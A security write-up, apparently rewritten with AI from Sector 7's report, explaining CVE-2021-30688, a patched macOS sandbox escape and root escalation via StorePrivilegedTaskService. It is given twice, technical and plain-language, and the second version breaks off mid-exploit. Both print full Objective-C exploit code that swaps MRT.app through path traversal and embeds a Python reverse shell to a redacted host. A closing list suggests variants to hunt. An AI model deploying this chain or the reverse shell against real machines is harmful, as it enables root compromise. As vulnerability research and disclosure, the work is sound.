Skip to content
RCE Write-up Advanced

Sandbox escape + privilege escalation in StorePrivilegedTaskService

The StorePrivilegedTaskService XPC service did not verify the identity of connecting applications and had an overly permissive sandbox profile, allowing a sandboxed app to move and modify files. An attacker could exploit this to replace the MRT.app binary with a malicious executable, achieving root code execution after a reboot.

Sector 7 Follow

Published on sector7.computest.nl

CVE-2021-30688 is a vulnerability which was fixed in macOS 11.4 that allowed a malicious application to escape the Mac Application Sandbox and to escalate its privileges to root. This vulnerability required a strange exploitation path due to the sandbox profile of the affected service.

Sector 7 (@sector7_nl), on sector7.computest.nl

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

Context

CVE-2021-30688 is a vulnerability fixed in macOS 11.4 that allowed a malicious application to escape the Mac Application Sandbox and escalate its privileges to root. The affected component is StorePrivilegedTaskService, a tool used by the Mac App Store to perform privileged operations such as removing the quarantine flag of downloaded files, moving files and adding App Store receipts. It is an XPC service embedded in the AppStoreDaemon.framework private framework.

The exploitation path was unusual because of the sandbox profile of the affected service, so the write-up first recaps the background from the rC3 2020 and HITB Amsterdam 2021 talks by Daan Keuper and Thijs Alkemade on macOS local security. One subject of those talks was privileged helper tools: many applications install a root service to install updates, which lets non-admin users install updates even though /Applications permissions would normally forbid it. Such tools commonly carry two bugs that combine into privilege escalation: not verifying that a request to install a package comes from the main application, and not correctly verifying the authenticity of an update package. The first issue turns out to affect Apple itself, in a slightly different way.

Setup

To follow the exploitation you need to understand the two kinds of XPC endpoint involved.

XPC is Apple's inter-process communication technology, used throughout its operating systems. On iOS it is a private API usable only indirectly; on macOS developers can use it directly. It sends structured data (integers, strings, dictionaries, arrays), which often avoids serialisation functions and the parser bugs that come with them.

An XPC service is a lightweight process related to another application. It is launched automatically when an application initiates an XPC connection and terminated when no longer used. Its main benefit is separating dangerous operations or privileges, because the service can have different entitlements. For example, an application that needs network access for one feature (downloading a fixed URL) would otherwise need the com.apple.security.network.client entitlement, and any vulnerability in it could send arbitrary traffic. Moving the request into an XPC service means only that service needs the network permission. XPC services have one of three service types:

  • Application: each application initiating a connection spawns a new process (multiple connections from one application are still handled in the same process).
  • User: one instance per user, handling requests from all applications of that user.
  • System: a single instance, running as root, available only to Apple's own XPC services.

Mach services are accessible system wide by registering a name, commonly through a launch agent or launch daemon config file. The process can be launched on demand but is not terminated automatically when unused, unlike XPC services. Some Mach services of lsd, from /System/Library/LaunchDaemons/com.apple.lsd.plist:

XML
<key>MachServices</key>
	<dict>
		<key>com.apple.lsd.advertisingidentifiers</key>
		<true/>
		<key>com.apple.lsd.diagnostics</key>
		<true/>
		<key>com.apple.lsd.dissemination</key>
		<true/>
		<key>com.apple.lsd.mapdb</key>
		<true/>
	...

Connecting to an XPC service uses the NSXPCConnection API:

OBJECTIVE-C
[[NSXPCConnection alloc] initWithServiceName:serviceName];

while connecting to a Mach service uses:

OBJECTIVE-C
[[NSXPCConnection alloc] initWithMachServiceName:name options:options];

NSXPCConnection is a higher-level Objective-C API: an object with a list of methods is made available to the other end, and the client calls those methods like normal Objective-C methods, with serialisation handled automatically.

On permissions: XPC services in third-party applications rarely have interesting permissions to steal compared with a non-sandboxed application. Sandboxed services can have entitlements creating sandbox exceptions (for example network access), but these are not interesting to steal because the app is not sandboxed. TCC permissions are usually set for the main application, not its XPC services, since that would generate confusing prompts. A non-sandboxed application can therefore almost never gain anything by connecting to another application's XPC service, and the Xcode template for a new XPC service does not even include a check on which application connected. This appears to give developers a false sense of security, because they often do not add a permission check to Mach services either, which leads to the privileged helper tool vulnerabilities from the talk. For Mach services running as root, checking which application connected is very important; otherwise any application could connect and request its operations.

Finding it

The main vulnerability in StorePrivilegedTaskService was that it did not check the application initiating the connection. The service has service type System, so it launches as root. Two defence-in-depth measures were ineffective:

  • StorePrivilegedTaskService is sandboxed, but its custom sandboxing profile is not restrictive enough.
  • For some operations the service checked that paths passed as arguments are a subdirectory of a specific directory, and these checks could be bypassed using path traversal.

Because the XPC service is embedded in a framework, even a sandboxed application could connect to it by loading the framework and then connecting:

OBJECTIVE-C
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AppStoreDaemon.framework/"] load];

NSXPCConnection *conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.AppStoreDaemon.StorePrivilegedTaskService"];

The service offers a number of interesting methods callable over an NSXPCConnection, for example:

OBJECTIVE-C
// Write a file
- (void)writeAssetPackMetadata:(NSData *)metadata toURL:(NSURL *)url withReplyHandler:(void (^)(NSError *))replyHandler;
 // Delete an item
- (void)removePlaceholderAtPath:(NSString *)path withReplyHandler:(void (^)(NSError *))replyHandler;
// Change extended attributes for a path
- (void)setExtendedAttributeAtPath:(NSString *)path name:(NSString *)name value:(NSData *)value withReplyHandler:(void (^)(NSError *))replyHandler;
// Move an item
- (void)moveAssetPackAtPath:(NSString *)path toPath:(NSString *)toPath withReplyHandler:(void (^)(NSError *))replyHandler;

A sandbox escape was quite clear: write a new application bundle, use -setExtendedAttributeAtPath:name:value:withReplyHandler: to remove its quarantine flag, then launch it. This still has to take the service's sandbox profile into account. The file and folder restrictions of that custom profile are:

(allow file-read* file-write*
    (require-all
        (vnode-type DIRECTORY)
        (require-any
            (literal "/Library/Application Support/App Store")
            (regex #"\.app(download)?(/Contents)?")
            (regex #"\.app(download)?/Contents/_MASReceipt(\.sb-[a-zA-Z0-9-]+)?")))
    (require-all
        (vnode-type REGULAR-FILE)
        (require-any
            (literal "/Library/Application Support/App Store/adoption.plist")
            (literal "/Library/Preferences/com.apple.commerce.plist")
            (regex #"\.appdownload/Contents/placeholderinfo")
            (regex #"\.appdownload/Icon")
            (regex #"\.app(download)?/Contents/_MASReceipt((\.sb-[a-zA-Z0-9-]+)?/receipt(\.saved)?)"))) ;covers temporary files the receipt may be named

    (subpath "/System/Library/Caches/com.apple.appstored")
    (subpath "/System/Library/Caches/OnDemandResources")
)

The intent is that the service can modify specific files in applications currently downloading from the App Store, which have a .appdownload extension, for example adding a MASReceipt file and changing the icon. The regexes are the interesting part: they are attached neither on the left nor on the right. Not binding on the left makes sense, as the full path could be unknown, but the lack of binding on the right (with $) is a mistake for the file regexes.

Put simply, the profile allows:

  • all operations on directories containing .app anywhere in their path;
  • all operations on files containing .appdownload/Icon anywhere in their path.

By creating a specific directory structure in the temporary files directory of the sandboxed application:

bar.appdownload/Icon/

both the sandboxed application and StorePrivilegedTaskService have full access inside the Icon folder. A new application can be created there and -setExtendedAttributeAtPath:name:value:withReplyHandler: used on the executable to dequarantine it.

Exploitation

Step 1: create the payload bundle

A process running as root creating new files in chosen directories with chosen contents is a powerful primitive, so the researchers were convinced root escalation was possible too. The sandbox path requirements made it difficult: creating a launch daemon or cron job would only be allowed in a subdirectory of a subdirectory of the directories holding those config files, so that did not work.

Modifying an application would work. Microsoft Teams installs a launch daemon for installing updates, and instead of copying a binary to /Library/PrivilegedHelperTools, the daemon points into the application bundle itself, as shown in /Library/LaunchDaemons/com.microsoft.teams.TeamsUpdaterDaemon.plist:

XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>Label</key>
	<string>com.microsoft.teams.TeamsUpdaterDaemon</string>
	<key>MachServices</key>
	<dict>
		<key>com.microsoft.teams.TeamsUpdaterDaemon</key>
		<true/>
	</dict>
	<key>Program</key>
	<string>/Applications/Microsoft Teams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon</string>
</dict>
</plist>

The Teams route would be: ask StorePrivilegedTaskService to move /Applications/Microsoft Teams.app somewhere else (allowed, because the directory path contains .app); move a new app bundle to /Applications/Microsoft Teams.app containing a malicious executable at Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon; then connect to the com.microsoft.teams.TeamsUpdaterDaemon Mach service. A privilege escalation requiring a specific third-party application is not as convincing, though, so the researchers kept looking. The requirements are somewhat contradictory: anything bundled into an .app bundle typically runs as a normal user, not root, and the Signed System Volume on macOS Big Sur makes changing built-in applications impossible.

By an impressive and ironic coincidence, there is an application installed on a new macOS installation, not on the SSV, that runs automatically as root: MRT.app, the Malware Removal Tool. Apple's anti-malware mechanisms are updateable without a full system upgrade because they may be needed quickly, so MRT.app is not on the SSV. Most malware is removed by signature or hash checks; MRT is the heavier solution when Apple needs to add code to perform a removal. Although MRT.app is in an app bundle, it is not a real application: at boot, MRT is run as root to check whether any malware needs removing.

Step 2: the complete attack

The full chain from sandboxed application to code execution as root:

  1. Create a new application bundle bar.appdownload/Icon/foo.app in the temporary directory of the sandboxed application containing a malicious executable.
  2. Load the AppStoreDaemon.framework framework and connect to the StorePrivilegedTaskService XPC service.
  3. Ask StorePrivilegedTaskService to change the quarantine attribute for the executable file to allow it to launch without a prompt.
  4. Ask StorePrivilegedTaskService to move /Library/Apple/System/Library/CoreServices/MRT.app to a different location.
  5. Ask StorePrivilegedTaskService to move bar.appdownload/Icon/foo.app from the temporary directory to /Library/Apple/System/Library/CoreServices/MRT.app.
  6. Wait for a reboot.

The full function:

OBJECTIVE-C
/// The bar.appdownload/Icon part in the path is needed to create files where both the sandbox profile of StorePrivilegedTaskService and the Mac AppStore sandbox of this process allow acccess.
NSString *path = [NSTemporaryDirectory() stringByAppendingPathComponent:@"bar.appdownload/Icon/foo.app"];
NSFileManager *fm = [NSFileManager defaultManager];
NSError *error = nil;

/// Cleanup, if needed.
[fm removeItemAtPath:path error:nil];

[fm createDirectoryAtPath:[path stringByAppendingPathComponent:@"Contents/MacOS"] withIntermediateDirectories:TRUE attributes:nil error:&error];

assert(!error);

/// Create the payload. This example uses a Python reverse shell to [redacted]:1337.
[@"#!/usr/bin/env python\n\nimport socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"[redacted]\",1337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/sh\",\"-i\"]);" writeToFile:[path stringByAppendingPathComponent:@"Contents/MacOS/MRT"] atomically:TRUE encoding:NSUTF8StringEncoding error:&error];

assert(!error);

/// Make the payload executable
[fm setAttributes:@{NSFilePosixPermissions: [NSNumber numberWithShort:0777]} ofItemAtPath:[path stringByAppendingPathComponent:@"Contents/MacOS/MRT"] error:&error];

assert(!error);

/// Load the framework, so the XPC service can be resolved.
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AppStoreDaemon.framework/"] load];

NSXPCConnection *conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.AppStoreDaemon.StorePrivilegedTaskService"];
conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(StorePrivilegedTaskInterface)];
[conn resume];

/// The new file is now quarantined, because this process created it. Change the quarantine flag to something which is allowed to run.
/// Another option would have been to use the `-writeAssetPackMetadata:toURL:replyHandler` method to create an unquarantined file.
[conn.remoteObjectProxy setExtendedAttributeAtPath:[path stringByAppendingPathComponent:@"Contents/MacOS/MRT"] name:@"com.apple.quarantine" value:[@"00C3;60018532;Safari;" dataUsingEncoding:NSUTF8StringEncoding] withReplyHandler:^(NSError *result) {
    NSLog(@"%@", result);

    assert(result == nil);

    srand((unsigned int)time(NULL));

    /// Deleting this directory is not allowed by the sandbox profile of StorePrivilegedTaskService: it can't modify the files inside it.
    /// However, to move a directory, the permissions on the contents do not matter.
    /// It is moved to a randomly named directory, because the service refuses if it already exists.
    [conn.remoteObjectProxy moveAssetPackAtPath:@"/Library/Apple/System/Library/CoreServices/MRT.app/" toPath:[NSString stringWithFormat:@"/System/Library/Caches/OnDemandResources/AssetPacks/../../../../../../../../../../../Library/Apple/System/Library/CoreServices/MRT%d.app/", rand()]
                               withReplyHandler:^(NSError *result) {
        NSLog(@"Result: %@", result);

        assert(result == nil);

        /// Move the malicious directory in place of MRT.app.
        [conn.remoteObjectProxy moveAssetPackAtPath:path toPath:@"/System/Library/Caches/OnDemandResources/AssetPacks/../../../../../../../../../../../Library/Apple/System/Library/CoreServices/MRT.app/" withReplyHandler:^(NSError *result) {
            NSLog(@"Result: %@", result);

            /// At launch, /Library/Apple/System/Library/CoreServices/MRT.app/Contents/MacOS/MRT -d is started. So now time to wait for that...
        }];
    }];
}];

The path is built under NSTemporaryDirectory() with the bar.appdownload/Icon component, which is what makes the location writable by both the service's sandbox profile and the Mac App Store sandbox of the attacking process. The payload is a Python reverse shell to [redacted]:1337, written to Contents/MacOS/MRT and made executable with mode 0777. After loading the framework and resuming the connection, the quarantine attribute is set to 00C3;60018532;Safari; so the file is allowed to run; the comment notes that -writeAssetPackMetadata:toURL:replyHandler could alternatively have created an unquarantined file.

The first move takes /Library/Apple/System/Library/CoreServices/MRT.app/ to a randomly named directory under /System/Library/Caches/OnDemandResources/AssetPacks/, reached through a long ../ sequence that resolves back to /Library/Apple/System/Library/CoreServices/. The random name is used because the service refuses if the destination already exists. The second move puts the malicious bundle at the original MRT.app path, again via the OnDemandResources/AssetPacks/ prefix and traversal. The comment explains that deleting the original directory is not allowed by the sandbox profile because the service cannot modify the files inside it, but moving a directory only needs permissions on the directory itself and its destination. At launch, /Library/Apple/System/Library/CoreServices/MRT.app/Contents/MacOS/MRT -d is started, so the attacker waits for a reboot.

Root cause

The service accepted XPC connections without checking which application initiated them, and it ran as root because its service type is System. The sandbox profile that should have limited the damage used regular expressions for file paths that were not anchored on the right with $, so any path containing .app (for directories) or .appdownload/Icon (for files) matched, including attacker-controlled paths in a temporary directory. The subdirectory checks on some operations could be bypassed with path traversal, which is what allowed the moves to reach /Library/Apple/System/Library/CoreServices/ through the allowed /System/Library/Caches/OnDemandResources subpath. The combination of an unchecked root service, a permissive profile and traversal in the path check made the exploit possible.

Impact

A malicious application running inside the Mac Application Sandbox could escape the sandbox and escalate to root. The chain as demonstrated replaces MRT.app, which runs as root at boot, so code execution as root follows a reboot. The Teams variant requires Microsoft Teams to be installed; the MRT variant requires no third-party application because MRT.app ships with macOS and is not on the Signed System Volume. The report does not state a CVSS score or a bounty amount.

Fix

Apple fixed the issue in macOS 11.4 and implemented all three recommended changes:

  1. Check the entitlements of the process initiating the connection to StorePrivilegedTaskService.
  2. Tighten the sandboxing profile of StorePrivilegedTaskService.
  3. Fix the path traversal vulnerabilities in the subdirectory check.

According to the write-up, the vulnerability is not just fixed but unlikely to be exploitable again if reintroduced, because of the improved sandboxing profile and path checks. It was reported to Apple on 19 January 2021 and the fix was released on 24 May 2021.

Variants to test

  • Other privileged Mach services and XPC services running as root: connect from a sandboxed or unprivileged process without the expected entitlements. A positive result is the service accepting the connection and performing an operation, for example a file write or move, that the caller should not be able to trigger.
  • Sandbox profiles with unanchored path regexes: look for (regex #"...") rules without a trailing $ and try to place a matching component in a directory you control, such as a temporary directory. A positive result is the service reading or writing files under your path.
  • Subdirectory checks combined with ../: pass paths that start inside the allowed directory but traverse out of it. A positive result is the service operating on a path outside the intended directory.
  • Directory moves versus deletes: where a service refuses to delete a directory because it lacks permission on the contents, try moving it instead. A positive result is a successful move of a directory whose contents the caller cannot modify.
  • Applications whose launch daemons point inside the bundle: check /Library/LaunchDaemons for Program paths inside .app bundles. A positive result is a root daemon whose executable can be replaced by a process that can write into that bundle path.
  • Updateable components outside the Signed System Volume that run as root: identify such components and whether a privileged file operation can replace them. A positive result is your payload executing as root after the component's next launch or a reboot.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 22 min read.

What happened, in plain words

In 2021, Apple fixed a bug in macOS with the identifier CVE-2021-30688. The bug was fixed in macOS 11.4. It let a malicious application do two things it should never be able to do: break out of the Mac Application Sandbox, and then take full control of the computer as the root user.

To understand why that matters, you need a few ideas from the ground up.

What is root? Every computer that runs several people's work at once gives each person an account. On macOS and other Unix-like systems, one account is special: root, also called the superuser. root can read, change or delete anything on the machine. Normal user accounts cannot. If a program gets code running as root, the attacker effectively owns the computer.

What is a sandbox? A sandbox is a set of restrictions the operating system puts around a program. Think of a playpen: the child can move around freely inside it, but cannot leave. A sandboxed application can still do its job, but it cannot touch files or resources outside the area it has been given. The Mac Application Sandbox is the one Apple applies to apps distributed through the Mac App Store. If a malicious app is trapped in that playpen, the damage it can do is limited. A sandbox escape is a way of getting out of the playpen.

What is privilege escalation? Privilege escalation means going from a low-privilege position (a normal user, or a sandboxed app) to a higher one (an administrator, or root). It is the second half of what happened here.

The affected piece of software is called StorePrivilegedTaskService. It is a helper used by the Mac App Store to do jobs that need extra power, such as removing the quarantine flag from downloaded files, moving files around, and adding App Store receipts. A quarantine flag is a marker macOS puts on files that came from the internet; while it is set, macOS asks the user for confirmation before opening the file. A receipt is a small record proving that an app was bought or downloaded from the App Store.

StorePrivilegedTaskService is an XPC service embedded in a private framework called AppStoreDaemon.framework. We will explain XPC and frameworks below. The exploitation path was unusual because of the sandbox profile of the affected service, so the write-up first recaps background from two conference talks by Daan Keuper and Thijs Alkemade, at rC3 in 2020 and HITB Amsterdam in 2021, on macOS local security.

One subject of those talks was privileged helper tools. Many applications install a small service that runs as root so it can install updates. This lets normal, non-admin users install updates, even though the permissions on /Applications would normally forbid it. Such tools commonly carry two bugs that combine into privilege escalation:

  1. Not verifying that a request to install a package comes from the main application.
  2. Not correctly verifying the authenticity of an update package.

The first issue turns out to affect Apple itself, in a slightly different way.

Setup

To follow the exploitation you need to understand the two kinds of XPC endpoint involved.

What is XPC? XPC is Apple's technology for inter-process communication, which means one program talking to another program on the same machine. Programs are isolated from each other on purpose, so when they need to cooperate they pass messages through a channel like XPC. XPC is used throughout Apple's operating systems. On iOS it is a private API usable only indirectly; on macOS developers can use it directly. An API is simply the set of functions and rules one piece of software offers to another so they can talk. XPC sends structured data (integers, strings, dictionaries, arrays), which often avoids serialisation functions and the parser bugs that come with them. Serialisation is turning a data structure into a stream of bytes so it can be sent or stored; parsing is turning those bytes back into a structure. Hand-written parsers are a classic source of security bugs, so avoiding them is good.

An XPC service is a lightweight process related to another application. It is launched automatically when an application initiates an XPC connection and terminated when no longer used. Its main benefit is separating dangerous operations or privileges, because the service can have different entitlements. An entitlement is a permission slip baked into a program that tells the operating system what the program is allowed to do, such as use the network. For example, an application that needs network access for one feature (downloading a fixed URL) would otherwise need the com.apple.security.network.client entitlement, and any vulnerability in it could send arbitrary traffic. Moving the request into an XPC service means only that service needs the network permission. XPC services have one of three service types:

  • Application: each application initiating a connection spawns a new process (multiple connections from one application are still handled in the same process).
  • User: one instance per user, handling requests from all applications of that user.
  • System: a single instance, running as root, available only to Apple's own XPC services.

Mach services are accessible system wide by registering a name, commonly through a launch agent or launch daemon config file. A launch daemon is a background program macOS starts automatically, often at boot, and often as root. The process can be launched on demand but is not terminated automatically when unused, unlike XPC services. Some Mach services of lsd, from /System/Library/LaunchDaemons/com.apple.lsd.plist:

XML
<key>MachServices</key>
	<dict>
		<key>com.apple.lsd.advertisingidentifiers</key>
		<true/>
		<key>com.apple.lsd.diagnostics</key>
		<true/>
		<key>com.apple.lsd.dissemination</key>
		<true/>
		<key>com.apple.lsd.mapdb</key>
		<true/>
	...

This is a fragment of a property list (plist), an XML file format macOS uses for configuration. The MachServices key lists the names under which this program can be reached. Each <key> is a name and each <true/> says the service is enabled. So com.apple.lsd.diagnostics and the others are names that other programs can use to send messages to lsd.

Connecting to an XPC service uses the NSXPCConnection API:

OBJECTIVE-C
[[NSXPCConnection alloc] initWithServiceName:serviceName];

This line creates a connection object pointing at an XPC service identified by serviceName. NSXPCConnection is the class Apple provides for this. alloc reserves memory for the object and initWithServiceName: sets it up with the given name.

Connecting to a Mach service uses:

OBJECTIVE-C
[[NSXPCConnection alloc] initWithMachServiceName:name options:options];

Same idea, but the initialiser is initWithMachServiceName:options:, because Mach services are looked up by name system wide rather than being tied to one application. The options argument carries extra settings for the connection.

NSXPCConnection is a higher-level Objective-C API: an object with a list of methods is made available to the other end, and the client calls those methods like normal Objective-C methods, with serialisation handled automatically. In other words, the programmer does not have to pack and unpack messages by hand; they just call a function on the remote object.

On permissions: XPC services in third-party applications rarely have interesting permissions to steal compared with a non-sandboxed application. Sandboxed services can have entitlements creating sandbox exceptions (for example network access), but these are not interesting to steal because the app is not sandboxed. TCC is Apple's privacy system that asks the user for permission to access things like the camera, microphone or contacts. TCC permissions are usually set for the main application, not its XPC services, since that would generate confusing prompts. A non-sandboxed application can therefore almost never gain anything by connecting to another application's XPC service, and the Xcode template for a new XPC service does not even include a check on which application connected. Xcode is Apple's programming environment; a template is a starting project it generates for you. This appears to give developers a false sense of security, because they often do not add a permission check to Mach services either, which leads to the privileged helper tool vulnerabilities from the talk. For Mach services running as root, checking which application connected is very important; otherwise any application could connect and request its operations.

Finding it

The main vulnerability in StorePrivilegedTaskService was that it did not check the application initiating the connection. The service has service type System, so it launches as root. Two defence-in-depth measures were ineffective. Defence in depth means adding several independent layers of protection so that if one fails, another still holds. Here the two layers were:

  • StorePrivilegedTaskService is sandboxed, but its custom sandboxing profile is not restrictive enough.
  • For some operations the service checked that paths passed as arguments are a subdirectory of a specific directory, and these checks could be bypassed using path traversal. Path traversal means using .. in a path, which in file systems means "go up one folder". A check that only looks at the start of a path can be fooled by a path that starts in the allowed place and then climbs out with ...

Because the XPC service is embedded in a framework, even a sandboxed application could connect to it by loading the framework and then connecting. A framework is a bundle of shared code that programs can load at runtime; loading it makes the service's interface available to the caller.

OBJECTIVE-C
[[NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/AppStoreDaemon.framework/"] load];

NSXPCConnection *conn = [[NSXPCConnection alloc] initWithServiceName:@"com.apple.AppStoreDaemon.StorePrivilegedTaskService"];

The first line asks NSBundle, the class that represents a bundle of code and resources, to load the framework at the given path. The second line creates a connection to the XPC service by its name. The point is that a sandboxed app can reach this root service simply by loading Apple's own framework, without needing any special permission.

The service offers a number of interesting methods callable over an NSXPCConnection, for example:

OBJECTIVE-C
// Write a file
- (void)writeAssetPackMetadata:(NSData *)metadata toURL:(NSURL *)url withReplyHandler:(void (^)(NSError *))replyHandler;
 // Delete an item
- (void)removePlaceholderAtPath:(NSString *)path withReplyHandler:(void (^)(NSError *))replyHandler;
// Change extended attributes for a path
- (void)setExtendedAttributeAtPath:(NSString *)path name:(NSString *)name value:(NSData *)value withReplyHandler:(void (^)(NSError *))replyHandler;
// Move an item
- (void)moveAssetPackAtPath:(NSString *)path toPath:(NSString *)toPath withReplyHandler:(void (^)(NSError *))replyHandler;

These are method declarations. Each line describes a function the service offers:

  • writeAssetPackMetadata:toURL:withReplyHandler: writes some data to a URL (a file location).
  • removePlaceholderAtPath:withReplyHandler: deletes an item at a path.
  • setExtendedAttributeAtPath:name:value:withReplyHandler: changes an extended attribute, which is a small named piece of metadata attached to a file. The quarantine flag is stored as one of these.
  • moveAssetPackAtPath:toPath:withReplyHandler: moves an item from one path to another.

Each takes a replyHandler, a block of code the service calls when it is done, passing an NSError if something went wrong. A block in Objective-C is a chunk of code you can pass around like a value.

A sandbox escape was quite clear: write a new application bundle, use -setExtendedAttributeAtPath:name:value:withReplyHandler: to remove its quarantine flag, then launch it. This still has to take the service's sandbox profile into account. A sandbox profile is the actual rule file that says what a sandboxed process may and may not do. The file and folder restrictions of that custom profile are:

(allow file-read* file-write*
    (require-all
        (vnode-type DIRECTORY)
        (require-any
            (literal "/Library/Application Support/App Store")
            (regex #"\.app(download)?(/Contents)?")
            (regex #"\.app(download)?/Contents/_MASReceipt(\.sb-[a-zA-Z0-9-]+)?")))
    (require-all
        (vnode-type REGULAR-FILE)
        (require-any
            (literal "/Library/Application Support/App Store/adoption.plist")
            (literal "/Library/Preferences/com.apple.commerce.plist")
            (regex #"\.appdownload/Contents/placeholderinfo")
            (regex #"\.appdownload/Icon")
            (regex #"\.app(download)?/Contents/_MASReceipt((\.sb-[a-zA-Z0-9-]+)?/receipt(\.saved)?)"))) ;covers temporary files the receipt may be named

    (subpath "/System/Library/Caches/com.apple.appstored")
    (subpath "/System/Library/Caches/OnDemandResources")
)

This is written in a small rule language. allow file-read* file-write* says reads and writes are allowed, but only where the following conditions match. require-all means every condition inside must hold; require-any means at least one must. vnode-type DIRECTORY restricts the rule to folders, vnode-type REGULAR-FILE to ordinary files. literal matches one exact path. regex matches a regular expression, a pattern language for text. subpath matches anything under a given folder.

The intent is that the service can modify specific files in applications currently downloading from the App Store, which have a .appdownload extension, for example adding a MASReceipt file and changing the icon. The regexes are the interesting part: they are attached neither on the left nor on the right. Not binding on the left makes sense, as the full path could be unknown, but the lack of binding on the right (with $) is a mistake for the file regexes. In a regular expression, $ means "end of the text". Without it, the pattern matches anywhere inside the path, not only at the end.

Put simply, the profile allows:

  • all operations on directories containing .app anywhere in their path;
  • all operations on files containing .appdownload/Icon anywhere in their path.

By creating a specific directory structure in the temporary files directory of the sandboxed application:

bar.appdownload/Icon/

both the sandboxed application and StorePrivilegedTaskService have full access inside the Icon folder. The temporary directory is a scratch area every program gets for its own files. The name bar.appdownload/Icon is chosen because it contains the text .appdownload/Icon, which the loose regex matches, so the service's sandbox lets it work there, and the attacking app's own sandbox also lets it work there. A new application can be created in that folder and -setExtendedAttributeAtPath:name:value:withReplyHandler: used on the executable to dequarantine it.

Exploitation

Step 1: create the payload bundle

A process running as root creating new files in chosen directories with chosen contents is a powerful primitive, so the researchers were convinced root escalation was possible too. A primitive in security means a small capability you have gained, which you then build on. The sandbox path requirements made it difficult: creating a launch daemon or cron job would only be allowed in a subdirectory of a subdirectory of the directories holding those config files, so that did not work. A cron job is a scheduled task on Unix systems; its config files live in specific folders, and the sandbox rules did not let the service write there.

Modifying an application would work. Microsoft Teams installs a launch daemon for installing updates, and instead of copying a binary to /Library/PrivilegedHelperTools, the daemon points into the application bundle itself, as shown in /Library/LaunchDaemons/com.microsoft.teams.TeamsUpdaterDaemon.plist:

XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>Label</key>
	<string>com.microsoft.teams.TeamsUpdaterDaemon</string>
	<key>MachServices</key>
	<dict>
		<key>com.microsoft.teams.TeamsUpdaterDaemon</key>
		<true/>
	</dict>
	<key>Program</key>
	<string>/Applications/Microsoft Teams.app/Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon</string>
</dict>
</plist>

This plist tells macOS about a background service. Label is its internal name. MachServices registers the name com.microsoft.teams.TeamsUpdaterDaemon so other programs can reach it. Program is the important line: it says which executable to run, and that executable lives inside /Applications/Microsoft Teams.app, not in the usual protected folder for helper tools. That means the executable that runs as root lives inside the app bundle rather than in the usual protected folder for helper tools.

The Teams route would be: ask StorePrivilegedTaskService to move /Applications/Microsoft Teams.app somewhere else (allowed, because the directory path contains .app); move a new app bundle to /Applications/Microsoft Teams.app containing a malicious executable at Contents/TeamsUpdaterDaemon.xpc/Contents/MacOS/TeamsUpdaterDaemon; then connect to the com.microsoft.teams.TeamsUpdaterDaemon Mach service. A privilege escalation requiring a specific third-party application is not as convincing, though, so the researchers kept looking. The requirements are somewhat contradictory: anything bundled into an .app bundle typically runs as a normal user, not root, and the Signed System Volume on macOS Big Sur makes changing built-in applications impossible. The Signed System Volume is a part of the disk that macOS verifies cryptographically; if anything in it changes, the system refuses to trust it.

By an impressive and ironic coincidence, there is an application installed on a new macOS installation, not on the SSV, that runs automatically as root: MRT.app, the Malware Removal Tool. Apple's anti-malware mechanisms are updateable without a full system upgrade because they may be needed quickly, so MRT.app is not on the SSV. Most malware is removed by signature or hash checks; MRT is the heavier solution when Apple needs to add code to perform a removal. A signature here is a pattern used to recognise known malicious files; a hash is a short fingerprint computed from a file's contents. Although MRT.app is in an app bundle, it is not a real application: at boot, MRT is run as root to check whether any malware needs removing.

Step 2: the complete attack

The full chain from sandboxed application to code execution as root:

  1. Create a new application bundle bar.appdownload/Icon/foo.app in the temporary directory of the sandboxed application containing a malicious executable.
  2. Load the AppStoreDaemon.framework framework and connect to the StorePrivilegedTaskService XPC service.
  3. Ask StorePrivilegedTaskService to change the quarantine attribute for the executable file to allow it to launch without a prompt.
  4. Ask StorePrivilegedTaskService to move /Library/Apple/System/Library/CoreServices/MRT.app to a different location.
  5. Ask StorePrivilegedTaskService to move bar.appdownload/Icon/foo.app from the temporary directory to /Library/Apple/System/Library/CoreServices/MRT.app.
  6. Wait for a reboot.

The full function:

OBJECTIVE-C
/// The bar.appdownload/Icon part in the path is needed to create files where both the sandbox profile of StorePrivilegedTaskService and the Mac AppStore sandbox of this process allow acccess.
NSString *path = [NSTemporaryDirectory() stringByAppendingPathComponent:@"bar.appdownload/Icon/foo.app"];
NSFileManager *fm = [NSFileManager defaultManager];
NSError *error = nil;

/// Cleanup, if needed.
[fm removeItemAtPath:path error:nil];

[fm createDirectoryAtPath:[path stringByAppendingPathComponent:@"Contents/MacOS"] withIntermediateDirectories:TRUE attributes:nil error:&error];

assert(!error);

/// Create the payload. This example uses a Python reverse shell to [redacted]:1337.
[@"#!/usr/bin/env python\n\nimport socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"[redacted]\",1337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/sh\",\"-i\"]);" writeToFile:[path stringByAppendingPathComponent:@"Contents/MacOS/MRT"] atomically:TRUE encoding:NSUTF8StringEncoding error:&error];

assert(!error);

/// Make the payload executable
